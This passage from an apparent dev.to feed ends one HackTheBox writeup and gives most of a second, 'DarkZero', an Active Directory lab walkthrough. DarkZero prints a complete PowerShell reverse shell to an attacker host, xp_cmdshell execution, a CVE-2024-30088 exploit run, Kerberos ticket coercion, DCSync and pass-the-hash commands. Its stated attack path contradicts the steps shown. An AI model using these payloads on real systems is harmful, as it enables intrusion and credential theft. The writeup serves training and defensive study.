&lt;td&gt;Broken Access Control&lt;/td&gt;
&lt;td&gt;Set is_admin: 1 via PUT request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command Injection&lt;/td&gt;
&lt;td&gt;Unsanitized username → reverse shell as www-data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lateral Movement&lt;/td&gt;
&lt;td&gt;.env credentials reused for SSH as admin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Privilege Escalation&lt;/td&gt;
&lt;td&gt;CVE-2023-0386 OverlayFS exploit → root&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  9. Key Vulnerabilities
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Client-Side Invite Logic&lt;/strong&gt; — Invite generation logic exposed in obfuscated JavaScript.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Broken Access Control&lt;/strong&gt; — Users can escalate privileges by supplying &lt;code&gt;is_admin: 1&lt;/code&gt; in API requests.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Command Injection&lt;/strong&gt; — Unsanitized username parameter passed directly to a system command.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Hardcoded Credentials&lt;/strong&gt; — &lt;code&gt;.env&lt;/code&gt; file exposes database credentials in the web root.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Password Reuse&lt;/strong&gt; — Same credentials used for both the database and SSH.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. CVE-2023-0386&lt;/strong&gt; — Unpatched kernel vulnerable to OverlayFS privilege escalation.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Thanks for reading! If you found this helpful, consider following for more HTB writeups.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>cybersecurity</category>
      <category>linux</category>
      <category>ctf</category>
    </item>
    <item>
      <title>HackTheBox: DarkZero Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Wed, 27 May 2026 06:18:28 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-darkzero-writeup-p3k</link>
      <guid>https://dev.to/exploitnotes/hackthebox-darkzero-writeup-p3k</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Active Directory environments are prime targets for attackers, yet they remain complex systems with multiple purported layers of security. The DarkZero assessment examined a multi-domain AD environment where a single MSSQL misconfiguration led to complete domain takeover.&lt;/p&gt;

&lt;p&gt;This case study demonstrates how trust relationships, misconfigurations, and unpatched kernel vulnerabilities can chain together to compromise an entire Active Directory forest.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attack Path:&lt;/strong&gt; IDOR → Credential Disclosure → Cacti RCE → Container Escape → Docker API Abuse → Root&lt;/p&gt;




&lt;h2&gt;
  
  
  Reconnaissance
&lt;/h2&gt;

&lt;p&gt;Standard nmap scan to start:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt; &lt;span class="nt"&gt;-oA&lt;/span&gt; nmap-DarkZero
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key services discovered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Port 53 — DNS&lt;/li&gt;
&lt;li&gt;Port 88 — Kerberos&lt;/li&gt;
&lt;li&gt;Port 135, 445 — RPC, SMB&lt;/li&gt;
&lt;li&gt;Port 389, 636 — LDAP&lt;/li&gt;
&lt;li&gt;Port 1433 — Microsoft SQL Server 2022&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The critical discovery was DNS enumeration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig @DC01.darkzero.htb any darkzero.htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This revealed the domain controller had both internal (&lt;code&gt;172.16.20.x&lt;/code&gt;) and external (&lt;code&gt;10.129.x.x&lt;/code&gt;) IP addresses, indicating network segmentation — relevant for pivoting later.&lt;/p&gt;




&lt;h2&gt;
  
  
  Initial Access: Exploiting MSSQL and Linked Servers
&lt;/h2&gt;

&lt;p&gt;Leaked credentials for a low-privileged user provided initial MSSQL access:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-mssqlclient darkzero.htb/john.w:&lt;span class="s1"&gt;'RFulUtONCOL!'&lt;/span&gt;@dc01.darkzero.htb &lt;span class="nt"&gt;-windows-auth&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The user account had limited permissions, and &lt;code&gt;xp_cmdshell&lt;/code&gt; was disabled on DC01. However, linked server enumeration revealed a critical misconfiguration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Linked Server: DC02.darkzero.ext
Login Mapping: dc01_sql_svc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;The MSSQL server had a linked server connection to another domain (DC02) with remote login enabled using a service account. This login mapping bypassed the restrictions on the low-privileged john.w account.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;By switching to the linked server, authentication automatically occurred as the elevated service account on DC02:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;use_link&lt;/span&gt; &lt;span class="nv"&gt;"DC02.darkzero.ext"&lt;/span&gt;
&lt;span class="n"&gt;enable_xp_cmdshell&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This trust abuse allowed privilege escalation from a restricted user on DC01 to a service account with administrative capabilities on DC02.&lt;/p&gt;




&lt;h2&gt;
  
  
  Remote Code Execution: The PowerShell Payload
&lt;/h2&gt;

&lt;p&gt;With &lt;code&gt;xp_cmdshell&lt;/code&gt; enabled on DC02, a stable reverse shell was needed. The approach used Base64-encoded PowerShell with UTF-16LE encoding:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$client&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;System.Net.Sockets.TCPClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;ATTACKER-IP&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4443&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$stream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetStream&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="mi"&gt;65535&lt;/span&gt;&lt;span class="o"&gt;|%&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;while&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-ne&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-TypeName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;System.Text.ASCIIEncoding&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$sendback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iex&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;". { &lt;/span&gt;&lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="s2"&gt; } 2&amp;gt;&amp;amp;1"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Out-String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$sendback2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$sendback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'PS '&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pwd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'&amp;gt; '&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$sendbyte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;text.encoding&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;ASCII&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sendback2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sendbyte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$sendbyte&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Flush&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Encode with UTF-16LE:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;iconv &lt;span class="nt"&gt;-f&lt;/span&gt; utf-8 &lt;span class="nt"&gt;-t&lt;/span&gt; utf-16le shell.ps1 | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Execute through MSSQL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;EXEC&lt;/span&gt; &lt;span class="n"&gt;xp_cmdshell&lt;/span&gt; &lt;span class="s1"&gt;'powershell -nop -w hidden -e BASE64_PAYLOAD'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell received:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;listening on [any] 4443 ...
connect to [10.10.14.241] from (UNKNOWN) [10.129.18.16] 53873
PS C:\Windows\system32&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Initial foothold on DC02 confirmed!&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Privilege Escalation: CVE-2024-30088
&lt;/h2&gt;

&lt;p&gt;System enumeration using &lt;code&gt;winpeas.exe&lt;/code&gt; revealed the target was vulnerable to &lt;strong&gt;CVE-2024-30088&lt;/strong&gt; — a kernel-level TOCTOU (Time-of-Check-Time-of-Use) vulnerability in Windows Server 2022.&lt;/p&gt;

&lt;p&gt;The reverse shell was upgraded to a Meterpreter session for stability:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;use exploit/windows/local/cve_2024_30088_authz_basep
&lt;span class="nb"&gt;set &lt;/span&gt;session &amp;lt;ID&amp;gt;
exploit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] The exploit was successful, reading SYSTEM token from memory...
[+] Successfully stole winlogon handle: 956
[*] Meterpreter session 13 opened

meterpreter &amp;gt; getuid
Server username: NT AUTHORITY\SYSTEM
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SYSTEM on DC02!&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Lateral Movement: Coercing DC01 Authentication
&lt;/h2&gt;

&lt;p&gt;DC02 was fully compromised, but DC01 remained the ultimate objective. The goal: force DC01 to authenticate to DC02 over SMB and capture the resulting Kerberos ticket.&lt;/p&gt;

&lt;p&gt;Deploy Rubeus on DC02 in monitor mode:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Rubeus.exe monitor /inspect:10 /nowrap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From the MSSQL session, trigger authentication coercion:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;xp_dirtree&lt;/span&gt; &lt;span class="err"&gt;\\&lt;/span&gt;&lt;span class="n"&gt;DC02&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;darkzero&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;coerce_share&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This forced DC01 to attempt authentication to a non-existent SMB share on DC02. Rubeus captured the resulting TGT:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User: DC01$@DARKZERO.HTB
StartTime: 4/2/2026 11:22:39 AM
EndTime: 4/2/2026 9:22:38 PM
Flags: name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket: doIFjDCCBYi...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Kerberos Abuse: From Ticket to Domain Compromise
&lt;/h2&gt;

&lt;p&gt;Convert the Base64 ticket to &lt;code&gt;.kirbi&lt;/code&gt; format:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;TICKET&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ticket.b64
&lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; ticket.b64 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ticket.kirbi
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Convert to &lt;code&gt;.ccache&lt;/code&gt; format for impacket:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-ticketConverter ticket.kirbi ticket.ccache
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;KRB5CCNAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ticket.ccache
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With the TGT loaded, perform a DCSync attack impersonating DC01$:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-secretsdump &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;-no-pass&lt;/span&gt; &lt;span class="nt"&gt;-just-dc&lt;/span&gt; &lt;span class="nt"&gt;-target-ip&lt;/span&gt; 10.129.18.16 &lt;span class="s1"&gt;'darkzero.htb/DC01$@DC01.darkzero.htb'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result — Administrator NTLM hash extracted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Administrator:500:aa...3504ee:5917...0726:::
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Post-Exploitation: Pass-the-Hash
&lt;/h2&gt;

&lt;p&gt;With the Administrator NTLM hash, authenticate directly without a plaintext password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;evil-winrm &lt;span class="nt"&gt;-i&lt;/span&gt; 10.129.18.16 &lt;span class="nt"&gt;-u&lt;/span&gt; administrator &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'5917...0726'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Evil-WinRM* PS C:\Users\Administrator\Desktop&amp;gt; dir

root.txt
user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Root flag captured! Full domain compromise confirmed.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Attack Chain Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Reconnaissance&lt;/td&gt;
&lt;td&gt;Nmap revealed MSSQL on port 1433&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Initial Access&lt;/td&gt;
&lt;td&gt;john.w creds → MSSQL login → linked server enum&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trust Abuse&lt;/td&gt;
&lt;td&gt;Switched to DC02 as dc01_sql_svc, enabled xp_cmdshell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RCE&lt;/td&gt;
&lt;td&gt;Base64 PowerShell payload → reverse shell on DC02&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Privilege Escalation&lt;/td&gt;
&lt;td&gt;CVE-2024-30088 → NT AUTHORITY\SYSTEM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lateral Movement&lt;/td&gt;
&lt;td&gt;xp_dirtree coercion → captured DC01$ TGT via Rubeus&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kerberos Abuse&lt;/td&gt;
&lt;td&gt;.kirbi → .ccache → authenticated as DC01$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Domain Compromise&lt;/td&gt;
&lt;td&gt;DCSync → Administrator NTLM hash extracted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Post-Exploitation&lt;/td&gt;
&lt;td&gt;Pass-the-Hash → Administrator shell on DC01&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. MSSQL Linked Server Trust Misconfiguration&lt;/strong&gt; — Cross-server pivoting via login mapping abuse.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. xp_cmdshell Enabled on Linked Server&lt;/strong&gt; — Arbitrary command execution across domains.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. CVE-2024-30088 (Kernel TOCTOU)&lt;/strong&gt; — Privilege escalation to SYSTEM on unpatched Windows Server 2022.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Unrestricted Trust Between DC01 and DC02&lt;/strong&gt; — Enabled cross-domain Kerberos abuse.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Authentication Coercion via xp_dirtree&lt;/strong&gt; — Forced machine account TGT capture.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. DCSync Permissions Not Restricted&lt;/strong&gt; — Allowed full AD database extraction.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7. NTLM Protocol Allowed&lt;/strong&gt; — Enabled Pass-the-Hash attacks.&lt;/p&gt;




&lt;h2&gt;
  
  
  Defensive Countermeasures
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;MSSQL Hardening&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Disable &lt;code&gt;xp_cmdshell&lt;/code&gt; by default&lt;/li&gt;
&lt;li&gt;Restrict linked server creation to administrators only&lt;/li&gt;
&lt;li&gt;Use least-privilege service accounts&lt;/li&gt;
&lt;li&gt;Monitor linked server queries and remote logins&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Active Directory Security&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Restrict DCSync permissions to authorized backup accounts only&lt;/li&gt;
&lt;li&gt;Monitor for unusual Kerberos ticket requests&lt;/li&gt;
&lt;li&gt;Implement SID filtering on domain trusts&lt;/li&gt;
&lt;li&gt;Monitor for authentication coercion (unusual SMB requests from DCs)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Endpoint Protection&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Apply security patches promptly (CVE-2024-30088)&lt;/li&gt;
&lt;li&gt;Implement kernel-level protections and driver signing&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Detection and Monitoring&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Alert on &lt;code&gt;xp_cmdshell&lt;/code&gt; execution&lt;/li&gt;
&lt;li&gt;Monitor for Rubeus or similar ticket monitoring tools&lt;/li&gt;
&lt;li&gt;Track SMB requests to non-existent shares from domain controllers&lt;/li&gt;
&lt;li&gt;Detect DCSync requests outside normal backup windows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Network Segmentation&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Isolate domain controllers on separate VLANs&lt;/li&gt;
&lt;li&gt;Restrict MSSQL traffic between domains&lt;/li&gt;
&lt;li&gt;Implement firewall rules between domain boundaries&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Lessons Learned
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Trust relationships are dangerous&lt;/strong&gt; — The link between DC01 and DC02 was the critical pivot point. Even in a multi-domain environment, trusts need careful governance.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Service accounts matter&lt;/strong&gt; — The &lt;code&gt;dc01_sql_svc&lt;/code&gt; login mapping was a significant privilege escalation opportunity. Service accounts should have minimal permissions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chaining vulnerabilities is powerful&lt;/strong&gt; — No single issue was critical by itself. The combination created a perfect storm.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kerberos tickets are powerful&lt;/strong&gt; — A TGT for DC01$ enables DCSync without needing a plaintext password.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Patch promptly&lt;/strong&gt; — CVE-2024-30088 had patches available. Unpatched kernel vulnerabilities are a critical risk.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The DarkZero engagement demonstrates a critical principle in Active Directory security: &lt;strong&gt;chained misconfigurations are more dangerous than isolated vulnerabilities.&lt;/strong&gt;&lt;/p&gt;

